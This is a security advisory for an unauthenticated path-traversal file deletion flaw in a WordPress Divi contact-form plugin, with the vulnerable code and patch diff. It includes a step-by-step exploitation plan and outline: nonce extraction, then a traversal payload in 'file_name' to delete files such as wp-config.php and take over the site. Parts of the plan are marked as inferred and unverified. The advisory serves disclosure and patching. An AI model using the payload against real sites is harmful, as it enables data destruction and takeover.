CVE-2026-40769

Contact Form Extender for Divi – Submissions DB & Extra Fields <= 1.0.6 - Unauthenticated Arbitrary File Deletion

criticalImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
9.1
CVSS Score
9.1
CVSS Score
critical
Severity
1.0.7
Patched in
10d
Time to patch

Description

The Contact Form Extender for Divi – Submissions DB & Extra Fields plugin for WordPress is vulnerable to arbitrary file deletion due to insufficient file path validation in all versions up to, and including, 1.0.6. This makes it possible for unauthenticated attackers to delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=1.0.6
PublishedApril 21, 2026
Last updatedApril 30, 2026

What Changed in the Fix

Changes introduced in v1.0.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-40769 (Contact Form Extender for Divi) ## 1. Vulnerability Summary The **Contact Form Extender for Divi** plugin (up to 1.0.6) is vulnerable to **Unauthenticated Arbitrary File Deletion** via path traversal. The vulnerability exists in the AJAX handler respons…

Show full research plan

Exploitation Research Plan: CVE-2026-40769 (Contact Form Extender for Divi)

1. Vulnerability Summary

The Contact Form Extender for Divi plugin (up to 1.0.6) is vulnerable to Unauthenticated Arbitrary File Deletion via path traversal. The vulnerability exists in the AJAX handler responsible for removing uploaded files. The function fails to validate that the provided file path remains within the intended temporary directory, allowing an attacker to use ../ sequences to reach and delete sensitive files like wp-config.php.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: cfefd_remove_file
  • Vulnerable Parameter: file_name (or file)
  • Authentication: Unauthenticated (wp_ajax_nopriv_cfefd_remove_file)
  • Preconditions:
    • The plugin must be active.
    • A valid AJAX nonce (cfefd-nonce-ajax) must be obtained.
    • The Divi theme should be active (as the plugin checks for it in contact-form-extender-for-divi-builder.php).

3. Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=cfefd_remove_file.
  2. Hook Registration: In includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php, the constructor registers:
    add_action('wp_ajax_nopriv_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']);
    
  3. Nonce Check: The function cfefd_remove_uploaded_file (inferred from cfefd_upload_file patterns) verifies the cfefd-nonce-ajax nonce.
  4. Path Construction: The code retrieves a file identifier from $_POST and joins it with the temporary directory:
    // Inferred logic
    $this->upload_tmp_dir = CFEFD_File_Upload::get_wp_upload_dir(path_join(CFEFD_File_Upload::foldername, 'tmp'), 'basedir');
    $file_name = $_POST['file_name']; 
    $file_path = path_join($this->upload_tmp_dir, $file_name);
    
  5. Vulnerable Sink: The file_path is passed to unlink() without sanitizing ../ traversal sequences.

4. Nonce Acquisition Strategy

The nonce is generated using wp_create_nonce('cfefd-nonce-ajax') and is typically localized for use in the frontend file upload script.

  1. Requirement: The nonce is only enqueued on pages where a Divi Contact Form is present.
  2. Action: Create a public page containing the Divi Contact Form shortcode.
    wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[et_pb_contact_form][/et_pb_contact_form]'
    
  3. Extraction:
    • Navigate to the newly created page.
    • Use browser_eval to find the localized script data.
    • The plugin likely localizes the nonce in an object. Check for window.cfefd_file_upload_ajax or search the raw HTML for the cfefd-nonce-ajax string.
    • Common Variable Name: cfefd_ajax_obj or cfefd_file_vars.

5. Exploitation Strategy

Step 1: Target Identification

Create a dummy file in the WordPress root to prove deletion:

echo "test" > /var/www/html/SENSITIVE_FILE.txt

Step 2: Obtain Nonce

Navigate to a page with a contact form and extract the cfefd-nonce-ajax nonce.

Step 3: Execute Deletion

Send the malicious AJAX request.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
    action=cfefd_remove_file&_wpnonce=[NONCE]&file_name=../../../../SENSITIVE_FILE.txt
    
    (Note: The upload_tmp_dir is wp-content/uploads/cfefd-uploads/tmp/, so 4 levels of ../ reach the root).

6. Test Data Setup

  1. Theme: Ensure Divi is active (or a compatible child theme).
  2. Plugin: Install and activate contact-form-extender-for-divi-builder version 1.0.6.
  3. Dummy File: touch /var/www/html/SENSITIVE_FILE.txt.
  4. Form Page: Create a page with [et_pb_contact_form].

7. Expected Results

  • The AJAX request should return a success: true JSON response.
  • The file /var/www/html/SENSITIVE_FILE.txt should be deleted from the filesystem.

8. Verification Steps

  1. HTTP Level: Check if the response code is 200 and the JSON indicates success.
  2. System Level: Use the ls command or file_exists to verify the file is gone.
    ls /var/www/html/SENSITIVE_FILE.txt
    
    Expected output: No such file or directory.

9. Alternative Approaches

If file_name is not the correct parameter, try:

  • file
  • path
  • file_path

If the traversal depth is different, check the absolute path of the uploads directory. In standard WordPress installs, wp-content/uploads/cfefd-uploads/tmp/ is 4 levels deep from the root (/var/www/html/).

If the unauthenticated hook fails, verify if the plugin requires a specific "File Upload" field to be added to the Divi form within the builder settings to trigger the script enqueuing.

Research Findings
Static analysis — not yet PoC-verified

Summary

The Contact Form Extender for Divi plugin is vulnerable to unauthenticated arbitrary file deletion due to missing path validation in its AJAX handler for file removals. Attackers can use directory traversal sequences in the 'file_name' parameter to delete sensitive system files, such as wp-config.php, which can lead to remote code execution by re-triggering the WordPress installation process.

Vulnerable Code

// includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php lines 16-17
add_action('wp_ajax_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']);
add_action('wp_ajax_nopriv_cfefd_remove_file', [$this, 'cfefd_remove_uploaded_file']);

---

// includes/module/addons/divi-4/file-upload/class-cfefd-file-upload-ajax.php lines 160-174
public function cfefd_remove_uploaded_file() {
    if (!check_ajax_referer('cfefd-nonce-ajax', '_wpnonce', false)) {
        wp_send_json_error(esc_html__('The security check failed. Please try again. Tip: Hard refresh the page (Ctrl+Shift+R on Windows/Linux or Cmd+Shift+R on Mac).', 'contact-form-extender-for-divi-builder'));
    }
    $filename = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : null;
    if (!empty($filename)) {
        $tmp_path = path_join($this->upload_tmp_dir, $filename);
        if (et_()->WPFS()->is_file($tmp_path) && et_()->WPFS()->exists($tmp_path)) {
            wp_delete_file($tmp_path);
            wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder'));
        } else {
            wp_send_json_error(__('Something went wrong. Please upload file again.', 'contact-form-extender-for-divi-builder'));
        }
    }
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/contact-form-extender-for-divi-builder/1.0.6/admin/entries/cfefd-submissions-list-table.php /home/deploy/wp-safety.org/data/plugin-versions/contact-form-extender-for-divi-builder/1.0.7/admin/entries/cfefd-submissions-list-table.php
--- /home/deploy/wp-safety.org/data/plugin-versions/contact-form-extender-for-divi-builder/1.0.6/admin/entries/cfefd-submissions-list-table.php	2026-02-24 09:06:18.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/contact-form-extender-for-divi-builder/1.0.7/admin/entries/cfefd-submissions-list-table.php	2026-04-06 11:16:02.000000000 +0000
@@ -132,11 +132,11 @@
 
     public function column_id($item) {
         $entry_id = get_post_meta($item->ID, '_cfefd_form_entry_id', true);
-        return $entry_id;
+        return absint( $entry_id );
     }
 
     public function column_submission_date($item) {
-        return $item->post_date;
+        return esc_html( $item->post_date );
     }
 
     public function column_page_title($item) {
@@ -160,15 +167,40 @@
         if (!check_ajax_referer('cfefd-nonce-ajax', '_wpnonce', false)) {
             wp_send_json_error(esc_html__('The security check failed. Please try again. Tip: Hard refresh the page (Ctrl+Shift+R on Windows/Linux or Cmd+Shift+R on Mac).', 'contact-form-extender-for-divi-builder'));
         }
-        $filename = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : null;
-        if (!empty($filename)) {
-            $tmp_path = path_join($this->upload_tmp_dir, $filename);
-            if (et_()->WPFS()->is_file($tmp_path) && et_()->WPFS()->exists($tmp_path)) {
-                wp_delete_file($tmp_path);
-                wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder'));
-            } else {
-                wp_send_json_error(__('Something went wrong. Please upload file again.', 'contact-form-extender-for-divi-builder'));
-            }
+ 
+        $filename_raw = isset($_POST['file_name']) ? sanitize_text_field(wp_unslash($_POST['file_name'])) : '';
+        if (empty($filename_raw)) {
+            wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder'));
+        }
+
+        // Reject traversal/absolute paths; only allow a plain filename.
+        $filename = sanitize_file_name(wp_basename($filename_raw));
+        if ('' === $filename || $filename !== $filename_raw) {
+            wp_send_json_error(__('Invalid file removal request.', 'contact-form-extender-for-divi-builder'));
+        }
+
+        $tmp_root = realpath($this->upload_tmp_dir);
+        if (false === $tmp_root) {
+            wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder'));
+        }
+
+        $tmp_path = path_join($this->upload_tmp_dir, $filename);
+        $tmp_real = realpath($tmp_path);
+        if (false === $tmp_real) {
+            wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder'));
+        }
+
+        $tmp_root_normalized = trailingslashit(wp_normalize_path($tmp_root));
+        $tmp_real_normalized = wp_normalize_path($tmp_real);
+        if (0 !== strpos($tmp_real_normalized, $tmp_root_normalized)) {
+            wp_send_json_error(__('Invalid file removal request.', 'contact-form-extender-for-divi-builder'));
+        }
+
+        if (et_()->WPFS()->is_file($tmp_real) && et_()->WPFS()->exists($tmp_real)) {
+            wp_delete_file($tmp_real);
+            wp_send_json_success(__('The file has been deleted successfully!', 'contact-form-extender-for-divi-builder'));
+        } else {
+            wp_send_json_error(__('Something went wrong. Please try removing the file again.', 'contact-form-extender-for-divi-builder'));
         }
     }

Exploit Outline

The exploit targets an unauthenticated AJAX endpoint (`cfefd_remove_file`) which performs an unsafe file deletion. 1. Locate a page with a Divi Contact Form containing a file upload field. 2. Extract the required security nonce (`cfefd-nonce-ajax`) from the page's source code, typically found within localized script data like `cfefd_ajax_obj`. 3. Send an unauthenticated POST request to `/wp-admin/admin-ajax.php` with the following parameters: - `action`: `cfefd_remove_file` - `_wpnonce`: The extracted nonce value. - `file_name`: A path traversal string (e.g., `../../../../wp-config.php`) calculated to point from the plugin's temporary upload directory to a sensitive target file. 4. If the target file is `wp-config.php`, its deletion will force WordPress into its installation wizard, allowing the attacker to reconfigure the database and gain full administrative control (RCE).

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.